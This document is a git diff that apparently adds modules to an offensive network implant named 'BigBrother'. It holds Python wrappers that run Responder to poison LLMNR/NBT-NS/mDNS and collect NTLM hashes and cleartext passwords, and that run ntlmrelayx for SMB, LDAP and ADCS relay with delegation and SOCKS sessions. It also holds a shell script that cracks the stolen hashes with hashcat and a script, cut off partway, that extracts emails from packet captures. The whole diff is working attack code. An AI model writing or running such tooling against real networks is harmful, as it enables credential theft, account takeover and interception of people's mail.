None + self._target_file = os.path.join( + os.path.expanduser("~"), ".bigbrother", "relay_targets.txt" + ) + self._loot_dir = os.path.join( + os.path.expanduser("~"), ".bigbrother", "ntlmrelay_loot" + ) + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + # Optional responder_mgr for coordination + self._responder_mgr = self.config.get("responder_mgr") + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + os.makedirs(os.path.dirname(self._target_file), exist_ok=True) + os.makedirs(self._loot_dir, exist_ok=True) + + self.state.set_module_status(self.name, "running", pid=self._pid) + logger.info("NTLMRelay module started (ready for relay commands)") + + def stop(self) -> None: + if not self._running: + return + + if self._relay_active: + self.stop_relay() + + self._running = False + self.state.set_module_status(self.name, "stopped") + logger.info("NTLMRelay module stopped") + + def status(self) -> dict: + proc_alive = self._proc is not None and self._proc.poll() is None + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "relay_active": self._relay_active and proc_alive, + "relay_pid": self._proc.pid if proc_alive else None, + "targets": self._targets, + "protocols": list(self._protocols), + "adcs_template": self._adcs_template, + "successful_relays": len(self._successful_relays), + } + + def configure(self, config: dict) -> None: + self.config.update(config) + if "ntlmrelayx_binary" in config: + self._ntlmrelayx_binary = config["ntlmrelayx_binary"] + if "adcs_template" in config: + self._adcs_template = config["adcs_template"] + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def start_relay(self, targets: list, protocols: set = None) -> bool: + """Start ntlmrelayx with specified targets and protocols. + + Args: + targets: List of relay target URLs. + Format: "protocol://ip" (e.g., "smb://10.0.0.0") + Or plain IPs for default SMB relay. + protocols: Set of protocols to relay to. If None, inferred from targets. + + Returns: + True if ntlmrelayx was started. + """ + if not self._running: + logger.error("NTLMRelay not started") + return False + + if self._relay_active and self._proc and self._proc.poll() is None: + logger.warning("ntlmrelayx already running") + return True + + self._targets = list(targets) + self._protocols = protocols or self._infer_protocols(targets) + + # Write target file + self._write_target_file() + + # Coordinate with Responder — exclude relay target IPs from SMB auth + self._update_responder_exclusions() + + # Build command + cmd = self._build_command() + + try: + self._proc = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + cwd=self._loot_dir, + ) + time.sleep(2) + if self._proc.poll() is not None: + stderr = self._proc.stderr.read().decode(errors="replace") + logger.error("ntlmrelayx failed to start: %s", stderr) + return False + + self._relay_active = True + + # Start output monitoring + self._output_thread = threading.Thread( + target=self._monitor_output, daemon=True, name="bb-ntlmrelay-monitor" + ) + self._output_thread.start() + + logger.info( + "ntlmrelayx started (pid=%d, targets=%d, protocols=%s)", + self._proc.pid, len(self._targets), self._protocols, + ) + return True + + except FileNotFoundError: + logger.error("ntlmrelayx.py not found at %s", self._ntlmrelayx_binary) + return False + except Exception: + logger.exception("Failed to start ntlmrelayx") + return False + + def stop_relay(self) -> bool: + """Stop ntlmrelayx. + + Returns: + True if relay was stopped. + """ + if self._proc and self._proc.poll() is None: + try: + self._proc.terminate() + self._proc.wait(timeout=5) + except subprocess.TimeoutExpired: + self._proc.kill() + try: + self._proc.wait(timeout=2) + except Exception: + pass + except Exception: + logger.exception("Failed to stop ntlmrelayx") + return False + finally: + self._proc = None + + self._relay_active = False + logger.info("ntlmrelayx stopped") + return True + + def add_target(self, target: str) -> bool: + """Add a relay target while ntlmrelayx is running. + + Args: + target: Target URL (e.g., "smb://10.0.0.0"). + + Returns: + True if target was added (requires restart to take effect). + """ + if target not in self._targets: + self._targets.append(target) + self._write_target_file() + self._update_responder_exclusions() + logger.info("Added relay target: %s (restart relay to apply)", target) + return True + return False + + # ------------------------------------------------------------------ + # Internal helpers + # ------------------------------------------------------------------ + + def _build_command(self) -> list: + """Build the ntlmrelayx command line.""" + cmd = [ + "python3", self._ntlmrelayx_binary, + "-tf", self._target_file, + "-of", os.path.join(self._loot_dir, "hashes"), + "-smb2support", + ] + + # ADCS relay + if self._adcs_template and "adcs" in self._protocols: + cmd.extend(["--adcs", "--template", self._adcs_template]) + + # LDAP relay options + if "ldap" in self._protocols or "ldaps" in self._protocols: + cmd.append("--delegate-access") + + # SOCKS proxy for interactive sessions + cmd.append("-socks") + + return cmd + + def _write_target_file(self) -> None: + """Write relay targets to file for ntlmrelayx -tf.""" + try: + with open(self._target_file, "w") as f: + for target in self._targets: + f.write(f"{target}\n") + except Exception: + logger.exception("Failed to write target file") + + def _infer_protocols(self, targets: list) -> set: + """Infer relay protocols from target URLs.""" + protocols = set() + for target in targets: + if "://" in target: + proto = target.split("://")[0].lower() + if proto in RELAY_PROTOCOLS: + protocols.add(proto) + else: + protocols.add("smb") # Default to SMB + return protocols or {"smb"} + + def _update_responder_exclusions(self) -> None: + """Update ResponderManager with IPs to exclude from SMB auth.""" + if not self._responder_mgr: + return + + # Extract IPs from target URLs + ips = set() + for target in self._targets: + if "://" in target: + ip_part = target.split("://")[1].split(":")[0].split("/")[0] + else: + ip_part = target.split(":")[0].split("/")[0] + ips.add(ip_part) + + try: + self._responder_mgr.set_relay_targets(ips) + logger.info("Updated Responder relay exclusions: %s", ips) + except Exception: + logger.exception("Failed to update Responder exclusions") + + # ------------------------------------------------------------------ + # Output monitoring + # ------------------------------------------------------------------ + + def _monitor_output(self) -> None: + """Monitor ntlmrelayx output for successful relays and loot.""" + if not self._proc: + return + + try: + for line in iter(self._proc.stdout.readline, b""): + if not self._running: + break + decoded = line.decode("utf-8", errors="replace").strip() + if not decoded: + continue + + self._parse_relay_output(decoded) + + if self._proc.poll() is not None: + break + except Exception: + pass + + def _parse_relay_output(self, line: str) -> None: + """Parse ntlmrelayx output for successful relay events.""" + # Successful SMB relay + if "authenticated successfully" in line.lower(): + relay_info = { + "timestamp": time.time(), + "type": "auth_success", + "detail": line, + } + with self._relays_lock: + self._successful_relays.append(relay_info) + self.bus.emit( + "CREDENTIAL_FOUND", + { + "source_module": self.name, + "target_service": "ntlm_relay", + "credential_type": "relay_success", + "credential_value": line, + }, + source_module=self.name, + ) + logger.info("Successful NTLM relay: %s", line) + + # Secretsdump from relay + elif "dumping" in line.lower() and "sam" in line.lower(): + logger.info("ntlmrelayx SAM dump: %s", line) + + # ADCS certificate obtained + elif "certificate" in line.lower() and ("saved" in line.lower() or "base64" in line.lower()): + self.bus.emit( + "CREDENTIAL_FOUND", + { + "source_module": self.name, + "target_service": "adcs_relay", + "credential_type": "certificate", + "credential_value": line, + }, + source_module=self.name, + ) + logger.info("ADCS certificate obtained via relay: %s", line) + + # SOCKS proxy opened + elif "socks" in line.lower() and "connection" in line.lower(): + logger.info("ntlmrelayx SOCKS: %s", line) diff --git a/modules/active/responder_mgr.py b/modules/active/responder_mgr.py new file mode 100644 index 0000000..fda63ec --- /dev/null +++ b/modules/active/responder_mgr.py @@ -0,0 +1,431 @@ +#!/usr/bin/env python3 +"""Responder Manager — LLMNR/NBT-NS/mDNS poisoning and hash capture. + +Manages Responder as a supervised subprocess. Generates Responder.conf +from a Jinja2 template, monitors log output for captured NTLMv1/v2 +hashes, and publishes CREDENTIAL_FOUND events. Coordinates with +ntlm_relay to exclude relay targets from Responder's SMB server. + +Resources: ~30MB RAM, ~3% CPU +""" + +import glob +import logging +import os +import re +import subprocess +import threading +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.active.responder_mgr") + +# Regex for Responder hash log filenames +HASH_FILE_PATTERN = re.compile( + r"(HTTP|SMB|MSSQL|LDAP|FTP|POP|IMAP|SMTP)-NTLMv[12]-.*\.txt$" +) + +# Regex for parsing NTLMv2 hash lines +NTLMV2_REGEX = re.compile( + r"^(?P\S+?)::(?P\S+?):(?P[0-9a-fA-F]+):" + r"(?P[0-9a-fA-F]+):(?P[0-9a-fA-F]+)$" +) + +NTLMV1_REGEX = re.compile( + r"^(?P\S+?)::(?P\S+?):(?P[0-9a-fA-F]+):" + r"(?P[0-9a-fA-F]+):(?P[0-9a-fA-F]+)$" +) + + +class ResponderManager(BaseModule): + """Responder subprocess manager with hash capture monitoring. + + Dependencies: + - Responder installed at /opt/tools/Responder + + Configuration: + responder_path: Path to Responder directory + interface: Network interface + protocols: Dict of protocol toggles (LLMNR, NBT-NS, mDNS, etc.) + relay_targets: Set of IPs excluded from SMB auth (for ntlm_relay) + """ + + name = "responder_mgr" + module_type = "active" + priority = 150 + requires_root = True + + HASH_POLL_INTERVAL = 10 # seconds + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._proc: Optional[subprocess.Popen] = None + self._hash_thread: Optional[threading.Thread] = None + self._responder_path = config.get("responder_path", "/opt/tools/Responder") + self._iface = config.get("interface", "eth0") + self._log_dir = os.path.join(self._responder_path, "logs") + self._captured_hashes: list = [] + self._hashes_lock = threading.Lock() + self._seen_hashes: set = set() # Dedup set + self._relay_targets: set = set() # IPs excluded from SMB for relay + self._protocols = { + "LLMNR": True, + "NBT-NS": True, + "mDNS": True, + "HTTP": True, + "SMB": True, + "WPAD": True, + "FTP": False, + "POP": False, + "IMAP": False, + "SMTP": False, + "LDAP": False, + } + self._template_dir = config.get( + "template_dir", + os.path.join(os.path.dirname(__file__), "..", "..", "templates", "responder"), + ) + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + if not os.path.isdir(self._responder_path): + logger.error("Responder not found at %s", self._responder_path) + return + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + self.state.set_module_status(self.name, "running", pid=self._pid) + logger.info("ResponderManager started (ready to launch Responder)") + + def stop(self) -> None: + if not self._running: + return + + self.stop_responder() + self._running = False + self.state.set_module_status(self.name, "stopped") + logger.info("ResponderManager stopped") + + def status(self) -> dict: + proc_alive = self._proc is not None and self._proc.poll() is None + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "responder_running": proc_alive, + "responder_pid": self._proc.pid if proc_alive else None, + "captured_hash_count": len(self._captured_hashes), + "interface": self._iface, + "relay_targets": list(self._relay_targets), + } + + def configure(self, config: dict) -> None: + self.config.update(config) + if "interface" in config: + self._iface = config["interface"] + if "relay_targets" in config: + self._relay_targets = set(config["relay_targets"]) + if "protocols" in config: + self._protocols.update(config["protocols"]) + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def start_responder(self, protocols: dict = None) -> bool: + """Start Responder with configured protocols. + + Args: + protocols: Optional dict overriding default protocol toggles. + + Returns: + True if Responder was started. + """ + if not self._running: + logger.error("ResponderManager not started") + return False + + if self._proc and self._proc.poll() is None: + logger.warning("Responder already running (pid=%d)", self._proc.pid) + return True + + if protocols: + self._protocols.update(protocols) + + # Generate Responder.conf from template + self._write_responder_conf() + + # Build command + responder_py = os.path.join(self._responder_path, "Responder.py") + if not os.path.isfile(responder_py): + logger.error("Responder.py not found at %s", responder_py) + return False + + cmd = ["python3", responder_py, "-I", self._iface, "-v"] + + # Add protocol flags based on what we want DISABLED + if not self._protocols.get("WPAD"): + cmd.append("-w") # -w disables WPAD in newer Responder versions + # Responder's flags are for disabling features, not enabling them + # The .conf file controls which services are On/Off + + try: + self._proc = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + cwd=self._responder_path, + ) + time.sleep(2) + if self._proc.poll() is not None: + stderr = self._proc.stderr.read().decode(errors="replace") + logger.error("Responder failed to start: %s", stderr) + return False + + # Start hash file monitoring thread + self._hash_thread = threading.Thread( + target=self._hash_monitor_loop, daemon=True, name="bb-responder-hashes" + ) + self._hash_thread.start() + + logger.info("Responder started (pid=%d, iface=%s)", self._proc.pid, self._iface) + return True + + except Exception: + logger.exception("Failed to start Responder") + return False + + def stop_responder(self) -> bool: + """Stop the Responder subprocess. + + Returns: + True if Responder was stopped. + """ + if self._proc and self._proc.poll() is None: + try: + self._proc.terminate() + self._proc.wait(timeout=5) + except subprocess.TimeoutExpired: + self._proc.kill() + try: + self._proc.wait(timeout=2) + except Exception: + pass + except Exception: + logger.exception("Failed to stop Responder") + return False + finally: + self._proc = None + + logger.info("Responder stopped") + return True + + def get_captured_hashes(self) -> list: + """Return all captured hashes. + + Returns: + List of dicts with hash details. + """ + with self._hashes_lock: + return list(self._captured_hashes) + + def set_relay_targets(self, targets: set) -> None: + """Set IPs that should be excluded from Responder's SMB server. + + When coordinating with ntlm_relay, Responder should not respond + to targets that ntlmrelayx is relaying from. + + Args: + targets: Set of IP addresses to exclude. + """ + self._relay_targets = set(targets) + # Regenerate config and restart if running + if self._proc and self._proc.poll() is None: + self._write_responder_conf() + logger.info("Updated relay exclusion targets: %s", targets) + + # ------------------------------------------------------------------ + # Responder.conf generation + # ------------------------------------------------------------------ + + def _write_responder_conf(self) -> None: + """Generate Responder.conf from template or defaults.""" + conf_path = os.path.join(self._responder_path, "Responder.conf") + + # Try Jinja2 template first + template_path = os.path.join(self._template_dir, "Responder.conf.j2") + if os.path.isfile(template_path): + try: + from jinja2 import Template + with open(template_path, "r") as f: + tmpl = Template(f.read()) + rendered = tmpl.render( + protocols=self._protocols, + relay_targets=self._relay_targets, + interface=self._iface, + ) + with open(conf_path, "w") as f: + f.write(rendered) + return + except ImportError: + logger.warning("Jinja2 not available — using inline config") + except Exception: + logger.exception("Failed to render Responder.conf template") + + # Fallback: write config directly + smb_on = "On" if self._protocols.get("SMB") else "Off" + http_on = "On" if self._protocols.get("HTTP") else "Off" + + conf = ( + "[Responder Core]\n\n" + "; Servers to start\n" + f"SQL = {'On' if self._protocols.get('SQL') else 'Off'}\n" + f"SMB = {smb_on}\n" + f"RDP = Off\n" + f"Kerberos = Off\n" + f"FTP = {'On' if self._protocols.get('FTP') else 'Off'}\n" + f"POP = {'On' if self._protocols.get('POP') else 'Off'}\n" + f"SMTP = {'On' if self._protocols.get('SMTP') else 'Off'}\n" + f"IMAP = {'On' if self._protocols.get('IMAP') else 'Off'}\n" + f"HTTP = {http_on}\n" + f"HTTPS = {http_on}\n" + f"DNS = Off\n" + f"LDAP = {'On' if self._protocols.get('LDAP') else 'Off'}\n" + f"DCERPC = Off\n" + f"WinRM = Off\n" + f"SNMP = Off\n" + f"MQTT = Off\n" + "\n" + "; Custom challenge\n" + "Challenge = Random\n" + "\n" + "; Set to On for downgrading to NTLMv1\n" + "DontRespondToNames =\n" + "\n" + ) + + with open(conf_path, "w") as f: + f.write(conf) + + # ------------------------------------------------------------------ + # Hash capture monitoring + # ------------------------------------------------------------------ + + def _hash_monitor_loop(self) -> None: + """Monitor Responder log directory for new hash files.""" + while self._running and self._proc and self._proc.poll() is None: + time.sleep(self.HASH_POLL_INTERVAL) + try: + self._scan_hash_files() + self._scan_session_log() + except Exception: + logger.exception("Hash monitor error") + + def _scan_hash_files(self) -> None: + """Scan Responder logs/ for NTLMv1/v2 hash files.""" + if not os.path.isdir(self._log_dir): + return + + for filepath in glob.glob(os.path.join(self._log_dir, "*-NTLMv*.txt")): + try: + with open(filepath, "r") as f: + for line in f: + line = line.strip() + if not line or line in self._seen_hashes: + continue + self._seen_hashes.add(line) + self._process_hash_line(line, filepath) + except Exception: + pass + + def _scan_session_log(self) -> None: + """Scan Responder-Session.log for cleartext credentials.""" + session_log = os.path.join(self._log_dir, "Responder-Session.log") + if not os.path.isfile(session_log): + return + + try: + with open(session_log, "r") as f: + for line in f: + line = line.strip() + if not line or line in self._seen_hashes: + continue + # Look for cleartext credential lines + if "Cleartext" in line or "Password" in line: + self._seen_hashes.add(line) + self._process_cleartext_line(line) + except Exception: + pass + + def _process_hash_line(self, line: str, source_file: str) -> None: + """Parse an NTLM hash line and emit CREDENTIAL_FOUND.""" + # Determine hash type from filename + hash_type = "ntlmv2" + hashcat_mode = 5600 + if "NTLMv1" in source_file: + hash_type = "ntlmv1" + hashcat_mode = 5500 + + # Parse username and domain + match = NTLMV2_REGEX.match(line) + if not match: + match = NTLMV1_REGEX.match(line) + if match: + username = match.group("username") + domain = match.group("domain") + else: + username = line.split("::")[0] if "::" in line else "unknown" + domain = "" + + hash_entry = { + "timestamp": time.time(), + "username": username, + "domain": domain, + "hash_type": hash_type, + "hashcat_mode": hashcat_mode, + "hash_value": line, + "source_file": source_file, + } + + with self._hashes_lock: + self._captured_hashes.append(hash_entry) + + self.bus.emit( + "CREDENTIAL_FOUND", + { + "source_module": self.name, + "source_ip": "", + "target_service": "responder", + "username": username, + "domain": domain, + "credential_type": hash_type, + "credential_value": line, + "hashcat_mode": hashcat_mode, + }, + source_module=self.name, + ) + logger.info("Hash captured: %s\\%s (%s)", domain, username, hash_type) + + def _process_cleartext_line(self, line: str) -> None: + """Process a cleartext credential line from Responder session log.""" + self.bus.emit( + "CREDENTIAL_FOUND", + { + "source_module": self.name, + "target_service": "responder_cleartext", + "credential_type": "cleartext", + "credential_value": line, + }, + source_module=self.name, + ) diff --git a/scripts/operator/.gitkeep b/scripts/operator/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/scripts/operator/crack_hashes.sh b/scripts/operator/crack_hashes.sh new file mode 100755 index 0000000..c27e981 --- /dev/null +++ b/scripts/operator/crack_hashes.sh @@ -0,0 +1,248 @@ +#!/usr/bin/env bash +# BigBrother Operator Script — Export and Crack Captured Hashes +# +# Exports credentials from BigBrother's credential database and Responder +# logs into hashcat-ready format. Optionally runs hashcat with common +# wordlists and rule sets. +# +# Usage: ./crack_hashes.sh [--crack] [--wordlist ] +# +# Examples: +# ./crack_hashes.sh ./bb-pull-20240115 # Export only +# ./crack_hashes.sh ./bb-pull-20240115 --crack # Export + crack +# ./crack_hashes.sh ./bb-pull-20240115 --crack --wordlist /opt/wordlists/rockyou.txt +# +# Requires: sqlite3, hashcat (optional) + +set -euo pipefail + +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +CYAN='\033[0;36m' +NC='\033[0m' + +# --------------------------------------------------------------------------- +# Arguments +# --------------------------------------------------------------------------- + +DATA_DIR="${1:-}" +DO_CRACK=false +WORDLIST="${HASHCAT_WORDLIST:-/usr/share/wordlists/rockyou.txt}" +RULES_FILE="${HASHCAT_RULES:-/usr/share/hashcat/rules/best64.rule}" + +shift || true +while [[ $# -gt 0 ]]; do + case "$1" in + --crack) DO_CRACK=true ;; + --wordlist) WORDLIST="$2"; shift ;; + --rules) RULES_FILE="$2"; shift ;; + *) echo -e "${RED}Unknown option: $1${NC}"; exit 1 ;; + esac + shift +done + +if [[ -z "$DATA_DIR" ]]; then + echo -e "${RED}Usage: $0 [--crack] [--wordlist ]${NC}" + echo "" + echo "Options:" + echo " --crack Run hashcat after export" + echo " --wordlist Wordlist for cracking (default: rockyou.txt)" + echo " --rules Hashcat rules file (default: best64.rule)" + echo "" + echo "Environment:" + echo " HASHCAT_WORDLIST Default wordlist path" + echo " HASHCAT_RULES Default rules file path" + exit 1 +fi + +OUTPUT_DIR="$DATA_DIR/cracking-$(date +%Y%m%d-%H%M%S)" +mkdir -p "$OUTPUT_DIR" + +echo -e "${CYAN}[*] BigBrother Hash Export & Cracking${NC}" +echo -e " Data dir: ${DATA_DIR}" +echo -e " Output: ${OUTPUT_DIR}" +echo "" + +# --------------------------------------------------------------------------- +# Export from credential database +# --------------------------------------------------------------------------- + +CRED_DB="$DATA_DIR/databases/credentials.db" +TOTAL_HASHES=0 + +if [[ -f "$CRED_DB" ]]; then + echo -e "${YELLOW}[*] Exporting from credential database...${NC}" + + # NTLMv2 hashes (hashcat mode 5600) + sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5600 AND credential_value != ''" 2>/dev/null \ + > "$OUTPUT_DIR/ntlmv2_5600.txt" || true + count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0) + TOTAL_HASHES=$((TOTAL_HASHES + count)) + echo -e " NTLMv2 (5600): ${count}" + + # NTLMv1 hashes (hashcat mode 5500) + sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5500 AND credential_value != ''" 2>/dev/null \ + > "$OUTPUT_DIR/ntlmv1_5500.txt" || true + count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0) + TOTAL_HASHES=$((TOTAL_HASHES + count)) + echo -e " NTLMv1 (5500): ${count}" + + # Kerberos TGS (hashcat mode 13100) + sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=13100 AND credential_value != ''" 2>/dev/null \ + > "$OUTPUT_DIR/kerberos_tgs_13100.txt" || true + count=$(wc -l < "$OUTPUT_DIR/kerberos_tgs_13100.txt" 2>/dev/null || echo 0) + TOTAL_HASHES=$((TOTAL_HASHES + count)) + echo -e " Kerberos TGS (13100): ${count}" + + # Kerberos AS-REP (hashcat mode 18200) + sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=18200 AND credential_value != ''" 2>/dev/null \ + > "$OUTPUT_DIR/kerberos_asrep_18200.txt" || true + count=$(wc -l < "$OUTPUT_DIR/kerberos_asrep_18200.txt" 2>/dev/null || echo 0) + TOTAL_HASHES=$((TOTAL_HASHES + count)) + echo -e " Kerberos AS-REP (18200): ${count}" + + # Cleartext credentials (no cracking needed) + sqlite3 "$CRED_DB" "SELECT username || ':' || credential_value FROM credentials WHERE hashcat_mode=0 AND credential_value != ''" 2>/dev/null \ + > "$OUTPUT_DIR/cleartext.txt" || true + count=$(wc -l < "$OUTPUT_DIR/cleartext.txt" 2>/dev/null || echo 0) + echo -e " ${GREEN}Cleartext: ${count}${NC}" + + echo "" +else + echo -e "${YELLOW}[*] No credential database found${NC}" +fi + +# --------------------------------------------------------------------------- +# Export from Responder logs +# --------------------------------------------------------------------------- + +RESPONDER_DIR="$DATA_DIR/responder" +if [[ -d "$RESPONDER_DIR" ]]; then + echo -e "${YELLOW}[*] Exporting from Responder logs...${NC}" + + # Collect NTLMv2 hashes from Responder log files + for hashfile in "$RESPONDER_DIR"/*-NTLMv2-*.txt; do + [[ -f "$hashfile" ]] || continue + cat "$hashfile" >> "$OUTPUT_DIR/ntlmv2_5600.txt" + done + + for hashfile in "$RESPONDER_DIR"/*-NTLMv1-*.txt; do + [[ -f "$hashfile" ]] || continue + cat "$hashfile" >> "$OUTPUT_DIR/ntlmv1_5500.txt" + done + + # Deduplicate + for f in "$OUTPUT_DIR"/*.txt; do + [[ -f "$f" ]] || continue + sort -u "$f" -o "$f" + done + + count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0) + echo -e " NTLMv2 total (deduped): ${count}" + count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0) + echo -e " NTLMv1 total (deduped): ${count}" + echo "" +fi + +# Remove empty files +find "$OUTPUT_DIR" -name "*.txt" -empty -delete 2>/dev/null + +# --------------------------------------------------------------------------- +# Summary of unique users +# --------------------------------------------------------------------------- + +echo -e "${YELLOW}[*] Unique users with captured hashes:${NC}" +for hashfile in "$OUTPUT_DIR"/ntlm*.txt; do + [[ -f "$hashfile" ]] || continue + mode=$(basename "$hashfile" | grep -o '[0-9]*') + echo -e " ${CYAN}Mode $mode:${NC}" + cut -d: -f1 "$hashfile" | sort -u | head -20 | sed 's/^/ /' + total=$(cut -d: -f1 "$hashfile" | sort -u | wc -l) + if [[ $total -gt 20 ]]; then + echo -e " ... ($total total)" + fi +done +echo "" + +# --------------------------------------------------------------------------- +# Crack with hashcat (optional) +# --------------------------------------------------------------------------- + +if $DO_CRACK; then + if ! command -v hashcat &>/dev/null; then + echo -e "${RED}[-] hashcat not found — install from https://hashcat.net${NC}" + exit 1 + fi + + if [[ ! -f "$WORDLIST" ]]; then + echo -e "${RED}[-] Wordlist not found: $WORDLIST${NC}" + exit 1 + fi + + echo -e "${CYAN}[*] Running hashcat...${NC}" + echo -e " Wordlist: ${WORDLIST}" + echo -e " Rules: ${RULES_FILE}" + echo "" + + POTFILE="$OUTPUT_DIR/hashcat.potfile" + + # Crack each hash type + for hashfile in "$OUTPUT_DIR"/*.txt; do + [[ -f "$hashfile" ]] || continue + basename_hash=$(basename "$hashfile") + + # Skip cleartext and already-cracked + [[ "$basename_hash" == "cleartext.txt" ]] && continue + [[ "$basename_hash" == "cracked_"* ]] && continue + + # Extract hashcat mode from filename + mode=$(echo "$basename_hash" | grep -oP '\d{4,5}' || echo "") + if [[ -z "$mode" ]]; then + continue + fi + + count=$(wc -l < "$hashfile") + if [[ $count -eq 0 ]]; then + continue + fi + + echo -e "${YELLOW}[*] Cracking $basename_hash ($count hashes, mode $mode)${NC}" + + # Run hashcat — dictionary + rules + hashcat -m "$mode" -a 0 \ + "$hashfile" "$WORDLIST" \ + -r "$RULES_FILE" \ + --potfile-path "$POTFILE" \ + --outfile "$OUTPUT_DIR/cracked_${basename_hash}" \ + --outfile-format 2 \ + -O \ + 2>/dev/null || true + + cracked=$(wc -l < "$OUTPUT_DIR/cracked_${basename_hash}" 2>/dev/null || echo 0) + echo -e " ${GREEN}Cracked: $cracked / $count${NC}" + echo "" + done + + # --------------------------------------------------------------------------- + # Cracking summary + # --------------------------------------------------------------------------- + + echo -e "${GREEN}[+] Cracking complete${NC}" + echo -e " Potfile: $POTFILE" + echo "" + echo -e "${CYAN}[*] Cracked credentials:${NC}" + for cracked in "$OUTPUT_DIR"/cracked_*.txt; do + [[ -f "$cracked" ]] || continue + echo -e " ${GREEN}$(basename $cracked):${NC}" + head -20 "$cracked" | sed 's/^/ /' + done +else + echo -e "${CYAN}[*] Hash files exported to: $OUTPUT_DIR${NC}" + echo " Run with --crack to start cracking" + echo "" + echo " Manual cracking examples:" + echo " hashcat -m 5600 $OUTPUT_DIR/ntlmv2_5600.txt /path/to/wordlist.txt -r /path/to/rules" + echo " hashcat -m 5500 $OUTPUT_DIR/ntlmv1_5500.txt /path/to/wordlist.txt" + echo " hashcat -m 13100 $OUTPUT_DIR/kerberos_tgs_13100.txt /path/to/wordlist.txt" +fi diff --git a/scripts/operator/extract_emails.sh b/scripts/operator/extract_emails.sh new file mode 100755 index 0000000..f835786 --- /dev/null +++ b/scripts/operator/extract_emails.sh @@ -0,0 +1,188 @@ +#!/usr/bin/env bash +# BigBrother Operator Script — Extract Emails from PCAPs +# +# Extracts SMTP email messages from network captures. Reconstructs +# complete emails including headers, body, and attachments. +# +# Unencrypted SMTP (port 25/587 without STARTTLS) is still common on +# internal networks, especially between mail servers and printers/scanners. +# +# Usage: ./extract_emails.sh [output_dir] +# +# Requires: tshark + +set -euo pipefail + +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +CYAN='\033[0;36m' +NC='\033[0m' + +# --------------------------------------------------------------------------- +# Arguments +# --------------------------------------------------------------------------- + +PCAP_DIR="${1:-}" +OUTPUT_DIR="${2:-$(pwd)/extracted-emails-$(date +%Y%m%d-%H%M%S)}" + +if [[ -z "$PCAP_DIR" ]]; then + echo -e "${RED}Usage: $0 [output_dir]${NC}" + exit 1 +fi + +if [[ ! -d "$PCAP_DIR" ]]; then + echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}" + exit 1 +fi + +if ! command -v tshark &>/dev/null; then + echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}" + exit 1 +fi + +mkdir -p "$OUTPUT_DIR"/{raw,parsed,attachments,summary} + +echo -e "${CYAN}[*] BigBrother Email Extraction${NC}" +echo -e " PCAP dir: ${PCAP_DIR}" +echo -e " Output: ${OUTPUT_DIR}" +echo "" + +# --------------------------------------------------------------------------- +# Extract SMTP sessions +# --------------------------------------------------------------------------- + +EMAIL_COUNT=0 +ATTACHMENT_COUNT=0 + +for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do + [[ -f "$pcap" ]] || continue + basename_pcap=$(basename "$pcap") + echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}" + + # Check for SMTP traffic + has_smtp=$(tshark -r "$pcap" -Y "smtp || tcp.port == 25 || tcp.port == 587" -c 1 2>/dev/null | wc -l) + if [[ "$has_smtp" -eq 0 ]]; then + echo -e " (no SMTP traffic)" + continue + fi + + # Export IMF (Internet Message Format) objects + imf_dir="$OUTPUT_DIR/raw/${basename_pcap%.pcap*}" + mkdir -p "$imf_dir" + tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true + + imf_count=$(find "$imf_dir" -type f 2>/dev/null | wc -l) + if [[ $imf_count -gt 0 ]]; then + echo -e " ${GREEN}Found $imf_count email messages${NC}" + EMAIL_COUNT=$((EMAIL_COUNT + imf_count)) + fi + + # Extract SMTP streams for raw analysis + streams=$(tshark -r "$pcap" -Y "tcp.dstport == 25 && tcp.len > 0" \ + -T fields -e tcp.stream 2>/dev/null | sort -un) + + for stream_id in $streams; do + stream_file="$OUTPUT_DIR/raw/smtp_stream_${stream_id}.txt" + + # Follow the TCP stream + tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \ + > "$stream_file" 2>/dev/null || true + + if [[ ! -s "$stream_file" ]]; then + rm -f "$stream_file" + continue + fi + + # Extract email metadata + from=$(grep -i "^MAIL FROM:" "$stream_file" 2>/dev/null | head -1 | sed 's/MAIL FROM://i' | tr -d '<> ' || echo "unknown") + to=$(grep -i "^RCPT TO:" "$stream_file" 2>/dev/null | head -1 | sed 's/RCPT TO://i' | tr -d '<> ' || echo "unknown") + subject=$(grep -i "^Subject:" "$stream_file" 2>/dev/null | head -1 | sed 's/Subject: //i' || echo "(no subject)") + + if [[ -n "$from" || -n "$to" ]]; then + # Write summary + { + echo "Stream: $stream_id" + echo "From: $from" + echo "To: $to" + echo "Subject: $subject" + echo "File: $stream_file" + echo "---" + } >> "$OUTPUT_DIR/summary/email_index.txt" + fi + 